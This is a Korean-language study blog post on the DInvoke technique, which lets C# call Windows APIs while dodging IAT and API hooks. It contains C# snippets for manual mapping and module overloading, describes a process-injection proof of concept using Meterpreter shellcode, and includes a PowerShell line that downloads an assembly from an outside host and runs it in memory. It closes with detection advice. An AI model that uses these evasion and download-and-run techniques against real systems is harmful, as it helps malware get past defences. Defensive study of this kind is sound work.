들어가기 앞서

이 글은 제가 다른 블로그 글들을 읽으면서 배운 것을 개인적으로 정리해놓은 글입니다. 이 글에 있는 모든 내용 및 코드는 이미 다른 사람들이 공개적으로 발표한 것들이며, 실제 상황에 쓰이기에 부족한 퀄리티의 개념 증명 (PoC)입니다. 글의 핵심 내용인 Dynamic Invoke는 theWover 와 FuzzySecurity (Ruben Boonen)가 만들고 발표한 기술입니다. 저도 100% 다 이해하고 있는 기술이 아니니 정확한 정보를 위해서는 theWover의 글을 확인해주세요.

There is no novel research/content in this post, nor do I claim any work in this blog post to be mine (it’s not). This post is just a personal study note that I use for personal reasons while I study others’ work regarding DInvoke. All of the content and code in this article is public, and could be found on the internet. All of the code in this article is a mere PoC quality code that really can’t be used in real world. DInvoke, which is the main topic of the blog post, is a technique created and published by theWover and FuzzySecurity (Ruben Boonen). Please refer to theWover’s blog post regarding the concept of DInvoke. All credits goes to theWover and FuzzySecurity.

요약 & 목적  

이 글에서는 2020년 6월에 발표된 theWoverFuzzySecurityDynamic Invoke 기술에 대한 개념, 라이브러리를 사용하는 방법, 개념 증명 코드, 그리고 대응 방법에 대해서 알아본다. 2018년 이후 레드팀과 모의침투테스터들의 도구들이 파워쉘에서 C#/.NET으로 포팅되는 과정에서 C#을 이용해 Windows API를 실행할 일이 많이 생겼다. 이는 C#에서 공식적으로 지원하는 Platform Invoke (PInvoke)라는 방법을 통해서 가능하다. 하지만 프로그램의 Import Address Table에 사용한 함수 이름이 들어가 IAT 후킹을 우회할 수 없다는 점, API 후킹을 우회할 수 없다는 치명적인 단점 2개를 가지고 있다. 이를 해결하기 위해 theWover와 FuzzySecurity는 동적으로 런타임 중 DLL을 로드한 후 WinAPI를 찾아 실행시키는 Dynamic Invoke 라는 기술을 발표함과 관련 Nuget 패키지를 배포했다.

이미 실제 APT와 같은 공격자들은 오래전부터 DInvoke를 이용하고 있었지만, 이와 관련된 설명을 한 글을 찾을 수 없었다. 따라서 DInvoke에 관련된 인식을 높이고, 관련 개념을 설명해 보안 전문가들을 돕기 위한 목적으로 이 글을 작성한다.  

배경

.NET과 관련 프로그래밍 언어들

파워쉘은 2012년부터 2018년까지 레드팀 (Red Team), 모의침투테스터, 그리고 APT (Advanced Persistent Threat) 그룹들이 공격시 가장 많이 사용한 프레임워크다. 윈도우 7이상의 호스트에 기본적으로 설치되어 있고, .NET의 라이브러리를 사용할 수 있으며, 디스크를 거치지 않은 인-메모리 실행 (in-memory execution)이 가능하고, 개발에 용이한 스크립팅 언어를 지원한다는 점 등, 파워쉘은 공격자들이 좋아할만한 장점을 모두 가지고 있다. 하지만 파워쉘이 유명해질수록 방어 매커니즘도 진화했고, 방어자들도 파워쉘에 집중하기 시작했다. 2016년도 파워쉘 버전 5의 공개 이후 AMSI, Deep Scriptblock Logging, Transcript Logging, Module Logging, Constrained Language Mode 등의 파워쉘 방어 기술들이 기본적으로 배포됐다. AV/EDR 솔루션들도 파워쉘에서 실행되는 코드들을 집중적으로 모니터링 하기 시작했다. 이 때문에 2018년도에 이르러서는 파워쉘을 이용한 공격이 많긴 하지만, 시스템 관리자/보안 관리자가 제대로 설정해놓은 파워쉘 환경(로깅 + AMSI + Constrained Language Mode + Applocker)은 꽤 안전해졌다고 평가된다. 오펜시브 시큐리티 (Offensive Security)의 순기능이 제대로 발휘된 순간이였지만, 레드팀과 모의침투테스터들은 공격에 사용할 새로운 플랫폼/언어를 찾아야만 했다.

따라서 2018년도부터 파워쉘에서 C#/.NET으로 오펜시브 시큐리티 툴들을 포팅하는 트렌드가 시작됐다. 오펜시브 파워쉘 프레임워크였던 PowerSploit은 SharpSploit GhostPack으로, 도메인 및 엔드포인트 정보 수집 도구였던 PowerView는 SharpViewSeatbelt, 커버로스 관련된 스크립트들은 Rubeus, Mimikatz는 SharpKatz, 등. 많은 숫자의 오펜시브 툴들이 C#으로 포팅됐다. 뒤이어 코발트 스트라이크(Cobalt Strike)가 비컨의 메모리상에서 C# 어셈블리 파일을 실행하는 execute-assembly 를 지원하며 C#의 인기는 더 높아졌다. C#이 포팅의 대상이 된 이유는 여러가지가 있다. .NET 프레임워크에 접근 가능한 언어 중 하나고, 인-메모리 실행이 가능하며, 파워쉘과 비교했을 때 상대적으로 주목을 덜 받아 방어자들이 신경쓰지 않고 있고 (최근엔 MS가 AMSI v.4.8를 발표하며 .NET 전체를 방어하려는 움직임을 보이고 있다), 개발에 편리한 언어 문법등이 있었기 때문이다.

하지만 C#의 단점도 존재했다. Common Language Runtime (CLR)를 이용하는 Managed Code 라는 점이 가장 컸는데, 이는 Unmanaged code인 Windows API, systemcall 등을 사용하는데 있어 큰 제약이 됐다. 윈도우 기반의 호스트에서 메모리 관련, 로우 레벨 관련, AV/EDR 회피 관련 일을 하려면 WinAPI를 사용하는 것은 필수다. .NET에서 WinAPI를 사용하는 것은 PInvoke를 사용해 가능하지만, 치명적인 단점이 존재한다. 이 단점에 관해선 PInvoke 소개를 한 뒤 설명한다.

PInvoke vs. DInvoke

PInvoke

출처: https://docs.microsoft.com/en-us/dotnet/framework/interop/consuming-unmanaged-dll-functions

Platform Invoke (PInvoke)는 Managed Code인 C#에서 Unmanaged Code인 WinAPI 코드를 실행할 수 있게 해주는 방법이다. 예를 들어 C#에서 MessageBox() 함수를 호출하고 싶다면 다음과 같이 마이크로소프트 문서에 나오는 예시처럼 코드를 작성하면 된다.

using System;
using System.Runtime.InteropServices;

public class Program
{
	[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
	private static extern int MessageBox(IntPtr hWindow, string lpText, string lpCaption, uint uType);

	public static void Main(string[] args)
	{
		MessageBox(IntPtr.Zero, "Calling Windows API from C#?", "Hmmteresting", 0);
	}
}
PInvoke를 이용한 MessageBox 호출 코드
PInvoke를 이용한 MessageBox() 함수 호출

마이크로소프트 문서의 PInvoke 사용 방법을 의역해보면 다음과 같다.

  1. System.Runtime.InteropServices 네임스페이스를 사용한다.
  2. DllImport 를 통해 C# 프로그램이 user32.dll 이라는 Unmanaged Code 라이브러리를 사용할 것이라고 선언한다. 이 선언을 하면 CLR은 프로그램 실행시 선언된 라이브러리를 메모리에 불러온다.
  3. 그 뒤 user32.dll에서 사용할 MessageBox의 함수 시그니처를 정해준다. 원래는 int MessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType); 시그니쳐지만, HWND, LPCTSTR 등의 타입은 C#에 존재하지 않는다. 따라서 C#에 존재하는 intptr, string, uint 등의 타입으로 치환하여 함수 시그니처를 정해준다.
  4. 실제로 MessageBox 함수를 실행한다.

이렇게 보면 PInvoke를 써 WinAPI를 실행하는게 간단해보인다. 하지만 PInvoke는 치명적인 단점 두 가지를 가지고 있다.

첫번째, PInvoke를 사용해 선언한 함수들은 프로그램의 IAT (Import Address Table)에 그 흔적을 남긴다. 두번째, PInvoke를 사용하면 IAT (Import Address Table) 후킹, 그리고 WinAPI 후킹 방어 메커니즘에 모두 걸리게 된다. 실제로 API 모니터 프로그램을 사용해서 확인해보면 GetProcAddress로 MessageBoxW의 주소를 불러온 뒤, MessageBoxW를 사용하고 있는 것을 확인할 수 있다.

API Monitor에 딱 걸린 MessageBox 함수 호출 

DInvoke

PInvoke의 경우 프로그램이 CLR에게 “너가 알아서 user32.dll 라이브러리 불러오기 한 다음에 MessageBox 알아서 찾아줘. 난 함수 실행만 할께” 라고 정적으로 요구하는 개념이다. Dynamic Invoke (DInvoke)는 이와는 달리 CLR를 무시한 뒤 프로그램이 스스로 동적으로 런타임 도중 dll을 찾고, 거기에 export 되어있는 함수를 찾아 실행하는 구조다. 정리하면 PInvoke - 정적으로 CLR에게 일을 맡김 vs. DInvoke - 동적으로 런타임 중 프로그램이 스스로 dll을 찾고 로드한 후 export 되어있는 함수를 찾은 뒤 실행이라고 생각하면 쉽다.

DInvoke는 TheWover와 FuzzySecurity가 발표한 기술이며, 더 자세한 정보는 여기서 찾을 수 있다. 긴 글이기도 하고, 이 글은 저 글의 번역판이 아니기 때문에 글 내용에 관해서는 적지 않는다.

DInvoke를 사용하면 PInvoke의 단점 두 가지를 모두 없앨 수 있다. 첫번째, IAT에 내가 사용하고자 하는 WinAPI 관련된 함수들이 남지 않는다. 따라서, IAT 후킹을 우회할 수 있다. 두번째, DInvoke의 특정 함수 사용시 Userland API 후킹을 우회할 수 있다. 사실상 PInvoke와 하는 일이 똑같고, PInvoke의 단점을 없애주니 PInvoke의 상위호환이라고 볼 수 있다.

DInvoke 라이브러리 활용법

기본 개념

DInvoke과 관련해서는 이미 Nuget 패키지가 나와있기 때문에 이를 사용한다. 라이브러리와 별도로 DInvoke과 관련된 소스코드도 깃헙에 올라와있기 때문에 저 자세한 코드를 보고 싶다면 깃헙을 참고한다. C# .NET 프레임워크 4나 .NET 5.0 모두 사용가능하니 자신이 원하는 프레임워크를 선택한 후 DInvoke Nuget 패키지를 설치하면 된다.

DInvoke를 사용하는 방법은 크게 3가지가 있는데, 그 전에 일단 DInvoke의 기초 개념을 잡고 간다.

  1. 원하는 DLL을 메모리에 로드한다
  2. 만약 DLL이 기본적으로 메모리에 로드가 되어 있다면 (ntdll.dll 같은 라이브러리는 모든 프로세스에 기본적으로 로드 된다) 스킵한다.
  3. DLL에 export 된 함수를 찾는다
  4. #2를 통해 부르고 싶은 함수를 가르키는 포인터를 만든다
  5. 함수 포인터를 이용해 인자들을 넘겨주며 해당 함수를 부른다

이게 기본 개념이고, 이제 여기서 DLL을 메모리 하는 방법, DLL을 분석해 부르고 싶은 함수를 찾는 방법 등에서 세부적으로 또 갈릴수가 있다. 그건 나중에 알아보자.

또 다른 중요 개념은 Delegates 연산자가 있다. MSDN에는 “대리자”라는 이름으로도 나와있다. 아주 간단하게 생각하면 Delegates는 함수포인터라고 생각하면 쉽다. C#의 입장에서 WinAPI 함수가 받는 입자, 반환값의 종류, 함수 호출 규약 등을 알 수 없기 때문에 프로그래머가 직접 그것을 지정해주는 개념이다. 코드는 PInvoke와 나름 비슷하게 생겼다.

// PInvoke
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int MessageBox(IntPtr hWindow, string lpText, string lpCaption, uint uType);

// DInvoke - Delegate
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate int MessageBox(IntPtr hWindow, string lptext, string lpCaption, uint uType);
PInvoke 선언과 Dinvoke - Delegate 코드

이 Delegate를 만든 뒤 위의 #4번에서 함수포인터를 사용해 함수 인자와 Delegate를 넘겨주면서 “이 함수 포인터는 이 Delegate와 같은 구조로 이뤄져있으니 참고해라” 라고 C#에게 알려주는 것이라고 생각하면  된다.

DInvoke의 기본 개념을 알아봤으니 실제로 DInvoke를 사용하는 방법 3가지를 알아본다.

DInvoke 사용 방법 3가지의 다양한 특징

Classic DInvoke

가장 기본적인 DInvoke 사용 방법이다. DLL을 현재 프로세스에 로드한 후 그 DLL로부터 export 된 함수를 찾아 실행한다. IAT 후킹을 우회할 수 있지만, API 후킹은 우회할 수 없다. .NET 프레임워크, .NET 5.0, AoT 런타임 등, 모든 프레임워크에서 정상적으로 작동한다. 또한, 코드 자체가 쉽고 간편하다.

1. 먼저 원하는 함수의 Delegate를 설정해준다

public class Delegate	
{
	[UnmanagedFunctionPointer(CallingConvention.StdCall)]
	public delegate int MessageBox(IntPtr hWindow, string lptext, string lpCaption, uint uType);
}

2. 원하는 DLL을 찾아 로드한 후, 원하는 함수의 포인터 주소값을 찾는다. GetLibraryAddress로 DLL 로드 + export 함수 찾기를 동시에 할수도 있고, GetPebLdrModuleEntry 함수를 이용해 DLL을 찾은 뒤 GetExportAddress로 함수 포인터의 주소를 찾을 수도 있다.

// GetLibraryAddress 
IntPtr pMessageBox = DInvoke.DynamicInvoke.Generic.GetLibraryAddress("user32.dll", "MessageBoxA");

// GetPebLdrModuleEntry + GetExportAddress 
IntPtr pkernel32 = DInvoke.DynamicInvoke.Generic.GetPebLdrModuleEntry("kernel32.dll");
IntPtr pCreateProcess = DInvoke.DynamicInvoke.Generic.GetExportAddress(pkernel32, "MessageBoxA");

3. 함수에 넣고 싶은 인자 배열 생성 - 이때 인자들의 타입은 앞서 생성했던 Delegate와 동일해야한다.

object[] messageBoxParam = { IntPtr.Zero, "Calling WinAPI from DInvoke?", "DInvoke Hmmteresting", (uint)0 };

4. DynamicFunctionInvoke 함수를 통해.  Delegate.MessageBox 라는 함수 시그니처와, messageBoxParam 인자를 넣어 Classic DInvoke를 실행한다.

var messageBoxResult = DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pMessageBox, typeof(Delegate.MessageBox), ref messageBoxParam);

최종 Classic DInvoke 코드는 다음과 같이 된다.

using System;
using System.Runtime.InteropServices;

public class Program 
{
    public static void Main(string[] args)
    {
        // 2-1. GetLibraryAddress를 이용해 DLL에서 함수의 주소를 가진 포인터 생성  
        var pMessageBox = DInvoke.DynamicInvoke.Generic.GetLibraryAddress("user32.dll", "MessageBoxA");

        // 2-2. 혹은 GetPebLdrModuleEntry + GetExportAddress 를 이용해 함수의 주소를 가진 포인터 생성 
        IntPtr pkernel32 = DInvoke.DynamicInvoke.Generic.GetPebLdrModuleEntry("user32.dll");
        IntPtr pMessageBox = DInvoke.DynamicInvoke.Generic.GetExportAddress(pkernel32, "MessageBoxA");

        // 3. 함수에 넣고 싶은 인자 배열 생성 
        object[] messageBoxParam = { IntPtr.Zero, "Calling WinAPI from DInvoke?", "DInvoke Hmmteresting", (uint)0 };

        // 4. DynamicFunctionInvoke 를 통해 실제로 MessageBox 실행 
        var messageBoxResult = DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pMessageBox, typeof(Delegate.MessageBox), ref messageBoxParam);
    }

    // 1. 원하는 함수의 Delegate 설정 
    public class Delegate	
    {
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate int MessageBox(IntPtr hWindow, string lptext, string lpCaption, uint uType);
    }
}
Classic DInvoke 코드

Manual Mapping (수동적 맵핑)

DInvoke - 수동적 맵핑 개념

Classic DInvoke이 DLL을 일반적으로 로드한다면, 수동적 맵핑은 우리의 프로그램이 직접 수동적으로 메모리 영역을 할당한 뒤 DLL을 그 영역에 맵핑한다. IAT 후킹과 API 후킹 모두 우회 가능하다. .NET 프레임워크, .NET 5.0에서 사용가능 하지만 AoT 런타임에서는 사용이 불가능하다.  메모리 스캐너에게 발견될 확률이 증가한다.

Ntdll.dll, 같은 라이브러리들은 모든 프로세스에 자동적으로 로드된다. 그리고 AV/EDR 솔루션들은 로드된 ntdll.dll의 함수들을 후킹해 C# 프로그램이 WinAPI를 사용하려고 할때  관련된 함수 대신 자신들의 코드를 실행한다. 이를 우회하기 위한 것이 수동적 맵핑이다. 아예 새로운 메모리 영역을 할당한 뒤, 프로그램이 제 3자(.NET CLR)를 거치지 않고 DLL을 맵핑 해버리기 때문에 AV/EDR의 API 후킹을 우회할 수 있다.

1. 먼저 원하는 함수의 Delegate를 설정해준다.

public class Delegate	
{
	[UnmanagedFunctionPointer(CallingConvention.StdCall)]
	public delegate int MessageBox(IntPtr hWindow, string lptext, string lpCaption, uint uType);
}

2. 원하는 DLL을 수동적으로 맵핑한다. MapModuleFromDisk() 함수나  MapModuleToMemory() 함수 둘 다 사용 가능하다. 둘의 차이는 존재하지만 (FromDisk는 NtCreateSection을 사용해서 특정 섹션에 로드하고, ToMemory는 특정 메모리주소에 로드한다), 사용하는 입장에서는 둘 다 똑같은 일을 한다.

var mmUserDLL = DInvoke.ManualMap.Map.MapModuleFromDisk("C:\\Windows\\System32\\user32.dll");

var mmUserDLL = DInvoke.ManualMap.Map.MapModuleToMemory("C:\\Windows\\System32\\user32.dll");

3. 함수에 넣고 싶은 인자 배열 생성 - 이때 인자들의 타입은 앞서 생성했던 Delegate의 함수 시그니처와 동일해야함.

object[] messageBoxParam = { IntPtr.Zero, "Calling WinAPI from DInvoke?", "DInvoke Hmmteresting", (uint)0 };

4. CallMappedDLLModuleExport() 함수를 통해 수동적 맵핑된 DLL로 부터 함수 실행

var messageBoxResult = (int)DInvoke.DynamicInvoke.Generic.CallMappedDLLModuleExport(mmUserDLL.PEINFO, mmUserDLL.ModuleBase, "MessageBoxA", typeof(Delegate.MessageBox), messageBoxParam, false);

최종 수동적 맵핑 코드는 다음과 같이 된다.

using System;
using System.Runtime.InteropServices;
public class Program 
{
	public static void Main(string[] args)
	{
		// 2. MapModuleFromDisk 혹은 MapModuleToMemory를 시용해 DLL 수동적 맵핑 
		var mmUserDLL = DInvoke.ManualMap.Map.MapModuleFromDisk("C:\\Windows\\System32\\user32.dll");

		// 3. 함수에 넣고 싶은 인자 배열 생성 
		object[] messageBoxParam = { IntPtr.Zero, "asdfaa", "asdf b", (uint)0};

		// 4. DynamicFunctionInvoke 를 통해 실제로 MessageBox 실행 
		var messageBoxResult = (int)DInvoke.DynamicInvoke.Generic.CallMappedDLLModuleExport(mmUserDLL.PEINFO, mmUserDLL.ModuleBase, "MessageBoxA", typeof(Delegate.MessageBox), messageBoxParam, false);
	}

	// 1. 원하는 함수의 Delegate 설정 
	public class Delegate	
	{
		[UnmanagedFunctionPointer(CallingConvention.StdCall)]
		public delegate int MessageBox(IntPtr hWindow, string lptext, string lpCaption, uint uType);
	}
}
수동적 맵핑 코드

Module Overloading (모듈 오버로딩)

DInvoke 모듈 오버로딩 개념

모듈 오버로딩은 디코이 DLL을 로드한 후, DLL을 모두 0으로 덮어쓰고, 페이로드를 집어넣는다. 이후 페이로드가 실행되면 마치 디코이 DLL에서 코드가 실행된 것처럼 보인다. 실제 코드는 수동적 맵핑과 매우 비슷하며, 사실상 모듈 오버로딩 1줄을 제외하고 코드는 똑같다. 다만 MessageBox() 함수를 불러오는 과중에 에러가 발생해 OpenProcess() 함수로 대체했다.

using System;
using System.Runtime.InteropServices;
public class Program
{
	public static void Main(string[] args)
	{
		// 2. 모듈 오버로드에 실행 
		var decoyDLL = DInvoke.ManualMap.Overload.OverloadModule("C:\\Windows\\System32\\kernel32.dll");
		Console.WriteLine("[>] Module Base : " + string.Format("{0:X}", decoyDLL.ModuleBase.ToInt64()));
		Console.WriteLine("[>] Decoy Module: " + decoyDLL.DecoyModule + "\n");

		// 3. 함수에 넣고 싶은 인자 배열 생성 
		object[] openProcessParam = { Convert.ToUInt32(0x001F0FFF), false, System.Diagnostics.Process.GetCurrentProcess().Id };

		// 4. DynamicFunctionInvoke 를 통해 실제로 OpenProcess 실행 
		var openProcessResult = (IntPtr)DInvoke.DynamicInvoke.Generic.CallMappedDLLModuleExport(decoyDLL.PEINFO, decoyDLL.ModuleBase, "OpenProcess", typeof(Delegate.OpenProcess), openProcessParam,false);

		Console.WriteLine("[>] Process Handle - " + openProcessResult);
		Console.ReadLine();
	}

	// 1. 원하는 함수의 Delegate 설정 
	public class Delegate
	{
		[UnmanagedFunctionPointer(CallingConvention.StdCall)]
		public delegate IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
	}
}
모듈 오버로딩 코드

PoC

DInvoke를 어떻게 사용하는지 알아봤으니 PoC를 만들 차례다. PoC는 클래식한 프로세스 인젝션으로, OpenProcess, VirtualAllocEx, WriteProcessMemory, VirtualProtect, CreateRemoteThread를 사용하는 인젝터를 만들 것이다. PoC이기 때문에 Process.Start() 등의 함수를 사용해 notepad.exe를 생성하지만, 실제 악성코드였다면 프로세스 생성을 하지 않았을 것이다 (프로세스 생성은 왠만하면 AV/EDR에게 바로 걸린다). 페이로드는 간단한 PoC이기 때문에 Meterpreter 64비트 쉘코드를 사용한다. PoC 종류는 총 4가지로, 다양한 비교를 해볼 것이다. 각 PoC 는 링크를 클릭해 github을 클릭해 확인하면 된다.  

PoC 깃헙 리포

1. cppconsole - C++ 로 만든 PoC

2. pInvoke - C# PInvoke 를 사용한 PoC

3. dInvokemm - C# .NET Framework 4.0를 사용한 PoC - DInvoke - 수동적 맵핑 사용 + 모듈 오버로딩도 주석으로 달아놓음

4. dInvokeaot - C# .NET 5.0 + Ahead of Time (AoT) 컴파일링을 사용한 PoC - DInvoke - 클래식 DInvoke 사용

모든 PoC는 악용을 막기 위해 바이러스토탈에 업로드 해놨다.

1번과 2번은 DInvoke를 사용하지 않는 c++  와 pinvoke PoC고, 3번과 4번은 DInvoke가 사용되었다. 이 4가지 PoC에 API Monitor(API 모니터)를 사용한 API 후킹 우회 여부, PE studio를 사용한 IAT 후킹 우회 여부, 그리고 마지막으로 바이러스 토탈을 사용한 AV/EDR 여부를 확인해 볼 것이다.

PInvoke, Cppconsole - DInvoke 사용안함

먼저 PInvoke과 c++ PoC에 대해서 알아보자. API 모니터로 API 후킹을 하는 AV/EDR 흉내를 낸다. API 모니터를 킨 후, OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread 를 설정 해준 뒤 PInvoke와 cppconsole을 실행한다. API 모니터가 함수들을 모니터링하는데 성공한 것을 볼 수 있다.

API Monitor가 프로세스 인젝션 함수들을 찾아낸 결과 확인

실제 AV/EDR이였다면 후킹이 성공했으니 곧바로 PoC가 악성코드로 플래그 된 후 삭제될  것이다.  이번엔 pestudio를 이용해 IAT에 함수들이 존재하는지 알아보자. 각 파일의 Import Address Table 섹션을 보면 사용하고 있는 WinAPI 함수들이 보인다.

cppconsole의 IAT 화면 - 프로세스 관련 함수들 확인

AV/EDR 회피와 관련해서는 바이러스토탈에서 약 8개의 AV/EDR 솔루션들이 잡아냈다.

pinvoke의 바이러스 토탈 결과 화면
cppconsole의 바이러스 토탈 화면

https://www.virustotal.com/gui/file/6ffe3b548ef9eedd8537410d5f9192122aca66d8164fbcbda5e3a17ed250615f/detection

6ffe3b548ef9eedd8537410d5f9192122aca66d8164fbcbda5e3a17ed250615f

https://www.virustotal.com/gui/file/ad890742c641c2b4394191c6a3ff7cfb7c8b8fa3d9d627d7c27687ba7b3f807d/detection

ad890742c641c2b4394191c6a3ff7cfb7c8b8fa3d9d627d7c27687ba7b3f807d

DInvokemm, DInvokeaot - DInvoke 사용

위와 같이 API 모니터 설정을 하고 dinvokemm, dinvokeaot 을 실행해보면 둘 다 API 후킹을 우회하고 있는 것을 볼 수 있다. 정확히 말하면 API 모니터가 OpenProcess 함수만 약 1500개를 보여주는데, 모두 거짓 양성 결과다.

API Monitor의 거짓양성 결과 - OpenProcess 밖에 안보인다

Dynamic Invoke를 사용하기 때문에 IAT도 모두 비어있다.

dInvokeaot의 경우 AoT 컴파일을 통해 Native PE 파일이 되어 인-메모리 실행이 불가능하다. 하지만 dInvokemm의 경우 일반적인 .NET Assembly라서 인-메모리 실행이 가능하다. 다음과 같이 외부 서버에서 dinvokemm을 다운받고 메모리상에서 실행시킬 수 있다.

# .NET Assembly 인-메모리 실행

$a = (New-Object net.webclient).DownloadData("http://192.168.48.160:9999/dinvokemm.exe")
[System.Reflection.Assembly]::Load($a)
[dinvokemm.dinvokemm]::Main("")
DInvokemm 인-메모리 실행 명령어
DInvokemm의 인-메모리 실행 화면

마지막으로 악용을 방지하기 위해 DInvoke 관련 샘플들을 바이러스 토탈에 업로드 해봤다. DInvokeaot는 AoT 컴파일을 해서 그런지 AV/EDR의 발견률이 상당히 적었다. 또한, 두 PoC 다 모두 윈도우 디펜더를 우회했다.

DInvokeaot의 바이러스 토탈 결과 화면

https://www.virustotal.com/gui/file/74374efc79880562a812be865198d40da08e84596faac4d642c1735a1367bec0/detection

74374efc79880562a812be865198d40da08e84596faac4d642c1735a1367bec0

대응방법

PoC들만 보면 DInvoke를 상대할 방법은 없어 보인다 - IAT후킹 우회, API 후킹 우회, AV/EDR에 걸리지 않으며 인-메모리 실행까지 가능하니 말이다. 하지만 절대로 그렇지 않다.

앞서 살펴 본대로 DInvoke에는 3가지 방법 - Classic DInvoke, Manual Mapping (수동적 맵핑), Module Overloading (모듈 오버로딩)이 있었다. 이 중 수동적 맵핑과 모듈 오버로딩에 관해 대응 방법을 알아본다. Classic DInvoke는 API 후킹에 걸리기 때문에 대응방법은 생략한다.

수동적 맵핑

수동적 맵핑은 메모리 할당 후 DLL을 그 메모리 영역에 불러오기 때문에 메모리 스캐너로 잡아낼 수 있다. 메모리 스캔 도중 뜬금없는 영역에 갑자기 또 다른 kernel32.dll나 ntdll.dll이 맵핑되어  있으면 분명 뭔가 잘못된 것이기 때문이다. 실습을 위해 dinvokemm를 실행하고, pe-sieve 도구를 사용해 메모리 스캔을 진행한다.

./pe-sieve /pid <pid> 로 스캔을 진행하면 바로 PoC 프로세스의 메모리상에 맵핑된 dll 파일들을 찾아내 덤프해준다.

pe-sieve로 찾은 맵핑된 DLL

이 덤프를 pestudio로 확인하면 kernel32.dll 을 확인할 수 있다.

맵핑된 DLL 덤프를 pestudio로 확인하면 kernel32.dll이 나온다

한가지 유의할 점은 PoC가 아닌 실제 악성코드였다면 프로세스 인젝션 후 곧바로 닫히기 때문에 이처럼 메모리스캔을 돌리기가 어렵다는 점이다.

모듈 오버로딩

모듈 오버로딩의 경우 특정 프로그램이 “뜬금없는” DLL을 불러와 사용하고 있다면 의심해볼만하다. 예를 들어 모듈 오버로딩을 가지고 있는 dinvokemm 프로그램이 잘 사용되지 않는 PCPKsp.dll 이라는 모듈을 불러와 사용하고 있다면 악성코드라고 의심할 수 있다. 또한, dinvokemm 프로그램을 실행할때마다 랜덤한 DLL을 불러와 사용하고 있는 것 또한 악성코드의 흔적으로 생각해볼 수 있다.

프로세스에 "뜬금없이" 로딩된 PCPKsp.dll 확인

예를 들어 위 스크린샷의 경우 PCKsp.dll 이라는 생소한 DLL을 로드시키고, 그 DLL에서 코드가 실행되고 있다. 이렇듯 모듈 오버로딩은 프로세스 실행 시 랜덤한 DLL이 그 프로세스에 로딩이 되기 때문에 이 과정에서 악성코드의 실마리를 찾을 수 있다. 뜬금없는 DLL이 로드되는 경우, 그리고 그 DLL에서 코드가 실행되는 경우 잠재적 악성코드라고 의심할 수 있다.

마치며

DInvoke가 탄생한 배경, 개념, 사용방법, PoC, 그리고 대응 방법에 대해서 알아봤다. C#에서 Unmanaged Code를 부를 수 있는 방법이 PInvoke 밖에 없었지만, DInvoke의 발견으로 C#은 더 강력해졌다. IAT 후킹과 API 후킹을 피할 수 있게 됨과 동시에, 원래 인-메모리 실행이 가능 하기 때문에 DInvoke를 활용한 C#은 포스트-익스플로잇 도구들을 만들기 좋은 언어가 된다.

theWover에 따르면 이미 이 기술은 공격자들이 사용하고 있었던 기술이라고 한다. APT들이 자주 사용하고 있었던 파워쉘 공격을 양지로 끌어올려준 레드팀과 모의침투테스터들 덕분에 파워쉘 관련 보안이 더 강해진 것 처럼, .NET도 그렇게 됐으면 좋겠다. 그 트렌드에 동참하기 위해 DInvoke와 관련된 글을 남긴다.

Happy Hacking!

Reference

https://thewover.github.io/Dynamic-Invoke/

https://github.com/TheWover/DInvoke

https://www.ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates

https://blog.nviso.eu/2020/11/20/dynamic-invocation-in-net-to-bypass-hooks/

https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0

https://www.ired.team/offensive-security/code-injection-process-injection/process-injection

https://medium.com/@MStrehovsky/fight-the-global-warming-compile-your-c-apps-ahead-of-time-9997e953645b https://github.com/hasherezade/pe-sieve